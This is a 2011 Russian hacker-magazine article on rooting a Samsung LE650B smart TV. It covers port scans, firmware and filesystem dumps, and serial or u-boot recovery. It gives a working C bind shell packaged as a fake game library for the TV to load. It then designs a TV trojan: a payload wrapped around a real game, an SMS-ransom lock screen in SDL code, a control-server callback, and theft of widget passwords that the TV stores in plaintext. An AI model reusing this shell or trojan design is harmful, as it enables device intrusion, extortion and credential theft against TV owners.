Дата: 04.07.2011 | HellMilitia | Хакер №6/11
Взлом встраиваемых систем и, в частности, различной бытовой техники — это очень интересная тема и перспективное направление. Сегодня я покажу тебе это на примере телевизора Samsung LE650B. Все в этом телеке почти стандартно — GNU/Linux, BusyBox, — но чтобы получить к нему доступ, мне пришлось изрядно потрудиться.
Наши задачи
Первым делом нужно обозначить конкретные задачи, которые я перед собой ставил. Главная задача — исследовать телевизор и осуществить локальный взлом: получить полный доступ к кишкам нашего телека и разобраться с тем, как он функционирует на уровне ОС. Побочная задача — поразмышлять на тему трояна для зомбоящика и прикинуть, как подобный трой мог бы выглядеть.
Подключаемся
Первичный осмотр телевизора показал, что на борту устройства есть Ethernet-порт. Это очень важное обстоятельство, ведь если у телевизора есть сетевой интерфейс, то наверняка есть и сетевые сервисы. Выбрав ручную настройку сети, я назначил телевизору статический адрес 192.168.1.2, а своему ноутбуку – 192.168.1.1. После этого я соединил патч-кордом телек с ноутбуком и проверил связь — телевизор отлично пинговался.
Для сбора информации об открытых портах и запущенных сетевых сервисах я традиционно воспользовался сканером портов nmap:
$ nmap -A 192.168.1.2
Nmap scan report for 192.168.1.2
Host is up (0.00019s latency).
All 1000 scanned ports on 192.168.1.2 are closed
MAC Address: 00:12:FB:89:50:3E (Samsung Electronics)
OS details: Linux 2.6.14 — 2.6.16, Linux 2.6.17 (Mandriva)
Честно говоря, я и не ожидал увидеть тут открытый телнет, так что подобный результат меня не сильно обломал . Нет открытых TCP-портов — ничего страшного. Может, UDP-сервисы порадуют?
# nmap -sU 192.168.1.2
Nmapscanreportfor 192.168.1.2
Host is up (0.00021s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
1024/udpopen|filtered unknown
1026/udpopen|filtered win-rpc
1900/udpopen|filtered upnp
MAC Address: 00:12:FB:89:50:3E (Samsung Electronics)
Засветился UPnP, уже кое-что. Эта технология является ядреной помесью HTTP и XML для связи и управления устройствами. В данном случае UPnP используется для поддержки DLNA (Digital Living Network Alliance) — технологии, позволяющей передавать различный медиа-контент по сети между совместимыми устройствами, например играть видео или музыку через Wi-Fi/Ethernet с DLNA-сервера. Отметим это обстоятельство и отложим пока UPnP в сторону, нужно завершить исследование.
Осмотр GUI
Больше всего мне хотелось получить полноценный доступ к операционной системе зомбоящика, идеальным вариантом была бы консоль с рутовыми правами
Размышляя об этом, я решил побродить по меню телевизора, вдруг там есть что-нибудь интересное? Среди различных "Галерей" и "Музыки", я нашел интересный пункт "Игры". Идея была стандартной: наверняка кроме предустановленных гамес Samsung сделал возможность установки новых игр и даже предоставил SDK для их создания. Осталось понять, как новые игры устанавливаются, а на чeм они написаны и в каком формате — не столь важно.
Само собой, играть я собрался в занимательную игру под названием bindshell. После минутного поиска я попал на Samsung AppStore. Зарегистрировавшись, я загрузил первую попавшуюся бесплатную игру. Из интересного в файле с игрой имелись: xml-файл clmeta.dat – manifest-файл, с языковыми настройками и описателями файлов игры; рядом находится game.so — sharedlibrary, в ней и лежит код запуска игры. Была еще куча файлов — ресурсы игры и прочие бинарники. Первым делом мне захотелось узнать, для какого процессора собрана игра:
$ file game.so
game.so: ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, not stripped
Все ожидаемо — ARM! Где мультимедиа, там и эти трудяги. Просматривая информацию из этой библиотеки, вывод objdump, я заметил функцию Game_Main, которая, как оказалось, и вызывается при загрузке игры. Прежде чем писать что-то для получения доступа к системе, нужно было разобраться, каким образом игры загружаются на телевизор. Поместив директорию с файлами игры в корень флэшки (FAT32) и подключив ее к телевизору, я увидел меню автозапуска, предлагающее мне обновить ПО или же посмотреть содержимое через ContentLibrary. В ContentLibrary: источник — флешка, пункт меню — "Игра", в списке директорий — "Директория с игрой .. Воспроизвести". Готово, игра загрузилась.
Теперь таким же образом нужно запустить нашу хек-игру. Bindshell я взял самый элементарный, никаких особых выкрутасов здесь не требуется, главное — скомпилировать его как sharedlibrary и объявить функцию Game_Main().
Наш бинд-шелл:
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/socket.h>
#include <netinet/ip.h>
extern Game_Main;
void Game_Main()
{
int icmp_sock, shell_sock, cli;
struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = INADDR_ANY;
sin.sin_port = htons(1337);
shell_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
bind(shell_sock, (structsockaddr *)&sin, sizeof(sin));
listen(shell_sock, 1);
cli = accept(shell_sock, NULL, 0);
dup2 ( cli, 0 );
dup2 ( cli, 1 );
dup2 ( cli, 2 );
execl ( "/bin/sh", "sh", NULL );
}
Компиляция элементарна:
arm-linux-gccbindshell.c -fPIC -shared -o game.so
Запуск злокода
Для запуска бинд-шелла нужно положить в корень флэшки папку с файлами game.so (который получили на прошлом этапе)и clmeta.dat (его можно взять от любой другой игры). После этого нужно подключить флешку к телевизору и запустить игру в меню автозапуска. В качестве результата работы бинд-шелла ты должен получить черный экран на телевизоре и открытый шелл на 1337 порту. Успех работы бинд-шелла проверяется простой командой:
$ telnet 192.168.1.2 1337
Имея опыт работы со встраиваемыми системами, я сразу подумал, что в устройстве используется busybox — популярный простенький шелл с набором основных консольных утилит. Запустив эту оболочку командой busybox, я увидел традиционный help, в котором была информация об ОС и список доступных программ, включающий даже vi.
Внутренности системы
В корне файловой системы я сразу заметил кучу mtd_*-директорий: это точки монтирования блоков flash-памяти. Версия ОС как всегда на своем месте:
# cat /proc/version
[28_64_512] Linux version 2.6.18_SELP-ARM (ksh921@sp) (gcc version 4.2.0 20070514 (GPL2) (SELP 4.2.0-3.0.5.custom 2007-10-31(14:53))) #81 PREEMPT Mon Jun 22 10:10:31 KST 2009
Интересно взглянуть и на файл passwd:
# cat /etc/passwd
root::0:0:Root,,,:/:/bin/sh
Вот так, даже без пароля. Подробнее о железе можно узнать из лога загрузки, да и вообще туда следует заглядывать всегда, помогает понять общую картину строения девайса:
# dmesg
Теперь интересные части лога:
<5>CPU: ARMv6-compatible processor [410fb767] revision 7 (ARMv6TEJ), cr=00c5387f
<4>Machine: Samsung-SDP83 Eval. Board(64bit 512MB)
<6>SDP83 Core Clock: 600.0Mhz
<6>SDP83 DDR2 Clock: 399.937Mhz
А телевизор оснащен неплохо: ARMv6 600Mhz, DRRII 400Mhz 512MB. Буквы "TEJ" здесь означают следующее:
T: Поддержка THUMB-режима процессора. В этом режиме исполняются инструкции длиной 16 бит (в нормальном режиме – 32). Режим этот нужен для оптимизации программ по размеру.
E: Enhanced DSP instructions.
J: Jazelle DBX (Direct Bytecode eXecution) — семейство замечательных технологий, разработанных компанией ARM для аппаратного ускорения выполнения Java байт-кода. В процессор добавляется специальный сопроцессор, который аппаратно преобразует байт-код в инструкции основного процессора. В результате осуществляется значительное ускорение выполнения Java-кода.
В списке процессов не было почти ничего интересного, за исключением процесса exeDSP — это управляющая программа.
Список модулей ядра:
# lsmod
rt73 354092 0xbf531000
rt2870sta 674644 0xbf48b000
usb_storage 37796 0xbf480000
ohci_hcd 18692 0xbf47a000
ehci_hcd 29992 0xbf471000
usbcore 129064 0xbf450000
usb_fault 4380 0xbf44d000
8139too 23296 0xbf446000
samdrv 3875988 0xbf092000
rfs 71688 0xbf07f000
fsr_stl 251448 0xbf040000
fsr 257756 0xbf000000
Сверху вниз: первые 2 модуля — драйверы фирменных Wi-Fi адаптеров Samsung. Компания специально убрала поддержку сторонних адаптеров, чтобы потребителям пришлось покупать "родные" карточки по высокой цене. Следующие пять модулей реализуют поддержку usb; далее идет драйвер сетевой карты; samdrv — драйвер телевизора; следующий по списку — модуль поддержки файловой системы Samsung, fsr* — модули доступа к памяти.
Файловая система
Руководствуясь данными mount, df и содержанием файла /sbin/update.sh, я собрал полезную информацию о структуре файловой системы нашего телевизора:
/dev/tbml6, squashfs, ro, / — корневая файловая система;
/dev/tbml7, squashfs, ro, /mtd_boot — содержит управляющую программу MinicomCtrl, несколько стартовых скриптов и модули ядра;
/dev/tbml8, rfs, ro, /mtd_exe – содержит множество файлов, в том числе управляющую программу exeDSP, драйвер samdrv.ko, библиотеки;
/dev/tbml9 squashfs, ro, /mtd_appdata – содержит служебные файлы;
/mtd_tlib — MediaContent — галерея, игры и прочее;
/mtd_down — содержит загруженные виджеты;
/dtv/usb/sd* — точки монтирования usb-flash.
Как видно, тут используются два типа ФС: squashfs и rfs. Squashfs предоставляет доступ к данным только в режиме ReadOnly, поэтому для модификации данных нужно слить дамп на внешний носитель, распаковать, изменить данные и залить исправленный образ назад на устройство.
Заметив среди точек монтирования свою флешку, я решил сдампить на нее все интересное для дальнейшего изучения и модификации. Первым делом я забрал дамп корневой файловой системы:
# cat /dev/tbml6 > /dtv/usb/sda/rootfs.img
Сдампив по аналогии все что было можно, я отправился бродить по директориям. Вот наиболее интересные места и файлы, которые я обнаружил:
/mtd_exe/GAME_LIB/ — SDL-библиотеки, используемые играми для вывода звука\графики;
/mtd_exe/InfoLink/keyconfig — биндинги клавиш пульта дистанционного управления, при просмотре содержимого сразу видно "костыль" — биндинги к клавишам обычной клавиатуры;
/mtd_appdata/resourse — звуки включения (on.mp3), выключения (off.mp3), сброса до заводских настроек (factory_reset_bell.mp3) и звук, проигрываемый при тесте (self.mp3).
Распаковка
Корневая файловая система распаковывается элементарно:
$ unsquashfsrootfs.img
А как быть с /mtd_exe? Файловая система RFS создана на базе FAT16, поэтому ничего распаковывать не требуется, нужно просто ее смонтировать:
$ mkdirmtd_exe
$ mount mtd_exe.img ./mtd_exe -o loop
$ ls -la mtd_exe
Теперь у нас есть возможность изменять любые данные внутри этих дампов: например, можно легко сменить ненавистные звуки включения/выключения устройства (/mtd_appdata/resourse) или перенастроить значение клавиш пульта ДУ (/mtd_exe/InfoLink/keyconfig).
Троян для телевизора
Речь пойдет только о концепции трояна, никакого законченного решения здесь нет. Моей целью является просто пофантазировать на эту тему и показать, как примерно может выглядеть вредоносный софт для современных телевизоров. Прежде всего, что вообще может делать такой троян? Вот сходу три годные идеи:
1. Блокиратор телевизора
Все помнят веселый замес с троянами типа Winlock. Тупой софт, блокирующий работу компьютера и предлагающий снять ограничения платной SMS’кой, позволил злым парням заработать миллионы долларов. Ничто не мешает развить эту идею на новые платформы, и телевизоры — точно не худший вариант для этого. Представь: "Телевизор заблокирован, для разблокирования отправьте sms на номер XXXX". Как ты скоро убедишься, написать такой "троян" довольно просто.
2. Рекламный трой
Идея простая — классическая adware, рекламный трой, показывающий рекламу во время просмотра телека или использования меню.
3. DDoS/спам-бот
Любой современный телевизор — это прежде всего обычный компьютер на базе Linux. И, само собой, он легко может выполнять любой привычный троянописателям функционал наподобие рассылки спама, участия в DDoS-ботнетах и так далее. Теперь расскажу, как подобные трои могут работать. В качестве примера я решил взять блокиратор: это довольно простой и показательный пример. Для вывода графики в телевизоре используется библиотека SDL. Документация к этой библиотеке есть и на русском языке. Все стартовые скрипты расположены на блоках с RO-доступом, без правки дампов не обойтись. Но есть еще один вариант — автозапуск через виджеты или игры. Не обязательно инфицировать игру, можно просто переименовать game.so, а вместо него положить рядышком wrapper с полезной нагрузкой, который в форке запустит игру, чтобы не нервировать пользователя.
Итак, принцип работы трояна. Стартовав, первым делом fork’аемся на 2 процесса: первый будет выводить графику, второй — отстукиваться на управляющий сервер. Инициализация графики в телевизоре должна проходить примерно таким образом:
#defi ne VIDEO_X 1920
#defi ne VIDEO_Y 1080
#defi ne VIDEO_BPP 32
#defi ne SCREEN_FLAGS 0
...
fl og = fopen("/dev/kmsg", "a+");
...
int init_video(void)
{
if(SDL_Init(SDL_INIT_VIDEO) == -1 )
{
printf(flog, "Fail with SDL_Init: %s.\n", SDL_GetError());
return 0;
}
atexit(SDL_Quit);
if(!(screen = SDL_SetVideoMode(VIDEO_X, VIDEO_Y, 32, SCREEN_FLAGS)))
{
fprintf(flog, "Fail with SDL_SetVideoMode: %s.\n", SDL_GetError());
return 0;
}
return 1;
}
Далее нужно вывести сообщение вроде "Телевизор заблокирован, отправьте SMS...". Проще всего загрузить изображение с этим текстом, плюс можно ещe и пофантазировать вдоволь. Делается это очень просто:
int draw_image()
{
if(!(image = SDL_LoadBMP("/mtd_down/locker/fuckup.bmp")))
{
printf("Fail with LoadBMP: %s.\n", SDL_GetError());
return 0;
}
SDL_BlitSurface(image, NULL, screen, NULL);
return 1;
}
Функция SDL_BlitSurface() "накладывает" загруженное изображение на экран. Графическая часть трояна готова. С сетевой частью проблем не будет — обычные сокеты, никакой экзотики.
Недостатки Internet@TV
В оболочке телевизора есть интерфейс "Internet@TV" — это своего рода каталог интернет-виджетов: AccuWether, Youtube, Twitter, Facebook. Я поставил Twitter: мне было интересно посмотреть, как тут все устроено в плане безопасности. Вбив свой логин с паролем в виджет Twitter, я зателнетился к телевизору, чтобы поискать, как хранятся пароли от моего твиттера.
Исследуя каталог /mtd_down/common, я нашел папку с многообещающим названием WidgetMgr. Внутри лежали файлы cpdata1.dat и localId.dat. Как выяснилось, именно в этих файлах и хранились в открытом виде пароли от виджетов:
# cat localId.dat
hm 1111 cpdata1.dat
# cat cpdata1.dat
Twitter HellMilitiaFuckUAll
Поясню немного назначение файлов: localId содержит параметры "общей" учeтной записи, по одной на строку. Формат прост — login:pin:passwd_file.
Файл c pdataN (где N — номер "общей" учeтной записи, этих файлов может быть несколько), содержит пароли к виджетам в открытом виде. Все, теперь ты можешь добавить к нашему "трояну" функционал для кражи сохраненных в телевизоре паролей от интернет-сервисов.
Реанимация устройства: консольный кабель
Перед тем как закатывать исправленные дампы файловой системы, нужно узнать, как восстанавливать девайс в случае неудачной записи. Для этого у телевизора имеется специальный разъем, выполненный под обычный 3.5-миллиметровый джек. Собственно, терминальный кабель и представляет собой аудио-кабель, у которого с одной стороны джек, а с другой – разъем RS-232.
Имеется два варианта восстановления:
Через консоль
Подключаем телевизор к компьютеру при помощи кабеля.
Подключаемся к телевизору с помощью любой терминальной программы.
Включаем поддержку usb, запустив стартовый скрипт (нужно для usb-flash памяти):
/lib/modules/rc.local
Включаем поддержку NAND-памяти и файловой системы rfs:
# insmod /lib/modules/fsr.ko
# insmod /lib/modules/rfs.ko
# insmod /lib/modules/fsr_stl.ko
Стираем кривой образ, например:
bml.erase /dev/bml0/5
Записываем ранее скопированный, оригинальный или исправленный образ, находящийся на флэшке:
bml.restore /dev/bml0/5 /dtv/usb/sd1/Image.img
Через загрузчик u-boot
В самых сложных ситуациях необходимо восстановление через загрузчик u-boot. Первым делом нужно зайти в сервисное меню телевизора, для чего требуется при выключенной железке быстро нажать кнопки на пульте ДУ [INFO] [MENU] [MUTE] [POWER]. Затем в пункте "Control .. Suboption .. Rs232 jack" нужно выбрать "Debug", а в меню "Control .. Suboption .. Watchdog" нужно вырубить "сторожевого пса", чтобы он не перезагружал устройство во время доступа к u-boot.
Дампы блоков памяти нужно разместить на флэшке по особым правилам:
файловая система на флeшке должна быть FAT32;
дампы должны находиться в директории /update;
имена дампов должны соответствовать приведeнным ниже:
/dev/bml0/1 onboot.bin
/dev/bml0/2 u-boot.bin
/dev/bml0/3 uboot_env.bin
/dev/bml0/4 fnw.bin
/dev/bml0/5 Image
/dev/bml0/6 rootfs.img
/dev/bml0/7 boot.img
Теперь можно соединяться. Подключив кабель и открыв консоль, включаем зомбоящик. В консоли должен появиться лог загрузчика, а в конце — сообщение "Hit any key to stop autoboot". В меню лоадера выбираем пункт под номером 0, это запустит консоль. Для ознакомления с доступными командами можно набрать "help". Подключаем usb-флешку и сканируем устройства: bbmusb. Теперь выбираем номер блока, который нужно восстановить – например, kernelimage (4). Далее вводим имя файла, в котором содержится образ ядра (в нашем случае – "Image"), после этого начинается запись образа ядра в память. По окончании перезагружаемся и проверяем, как прошла операция.